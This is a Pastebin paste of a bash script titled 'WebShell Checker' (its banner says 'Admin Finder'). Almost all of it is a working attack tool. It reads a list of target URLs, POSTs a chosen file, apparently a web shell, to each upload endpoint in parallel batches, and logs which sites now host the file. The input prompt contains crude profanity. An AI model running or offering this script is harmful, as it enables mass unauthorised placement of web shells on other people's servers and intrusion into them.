rootasuna

WebShell Checker

Mar 18th, 2018
373
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.63 KB | None | 0 0
  1. #!/bin/bash
  2. #Coded By : Tatsumi Crew & Arvan Apriyana
  3. #Thanx To : RESIS-07 & P0tZ All Member Tatsumi
  4.  
  5. RED='\033[0;31m'
  6. CYAN='\033[0;36m'
  7. YELLOW='\033[1;33m'
  8. ORANGE='\033[0;33m'
  9. PURPLE='\033[0;35m'
  10. NC='\033[0m'
  11. cat <<EOF
  12. s
  13. :8
  14. .88
  15. :888ooo .
  16. -*8888888 .udR88N
  17. 8888 <888'888k
  18. 8888 9888 'Y"
  19. 8888 9888
  20. .8888Lu= 9888
  21. ^%888* ?8888u../ Admin Finder V.01
  22. 'Y" "8888P'Rew.net
  23. "P' Coded By : Arvan Apriyana
  24. Special Thanx To : TC | HSC | IFS | CKT |
  25. EOF
  26. ngaplod(){
  27. local webnya="${1}"
  28. local filenya="${2}"
  29. local ngeaplod=$(curl -s "${webnya}" -X POST -F "file=@${filenya}" -D -)
  30. if [[ $ngeaplod =~ "File Upload Done." ]]; then
  31. local potong=$(echo $webnya | grep -Po "(?<=://)[^/]*" | head -1)
  32. printf "[+] http://${potong}/${filenya} => DONE\n"
  33. echo "http://${potong}/${filenya}" >> result/sukses.txt
  34. else
  35. printf "[-] ${webnya} => FAILED\n"
  36. echo "${webnya}" >> result/gagal.txt
  37. fi
  38. }
  39. #file input
  40. if [[ $inputFile == '' ]]; then
  41. tree
  42. read -p "Enter File Sia kontol: " inputFile
  43. fi
  44.  
  45. header
  46. sc=$2
  47.  
  48. mkdir result
  49.  
  50. # OPTIONAL
  51. persend=20
  52. setleep=5
  53.  
  54. itung=1
  55.  
  56. IFS=$'\r\n' GLOBIGNORE='*' command eval 'web=($(cat $1))'
  57. for (( i = 0; i < "${#web[@]}"; i++ )); do
  58.  
  59. set_kirik=$(expr $itung % $persend)
  60. if [[ $set_kirik == 0 && $itung > 0 ]]; then
  61. sleep $setleep
  62. fi
  63.  
  64. web="${web[$i]}"
  65. ngaplod ${web} ${inputFile} &
  66. itung=$[$itung+1]
  67. done
  68. wait
Advertisement
Add Comment
Please, Sign In to add comment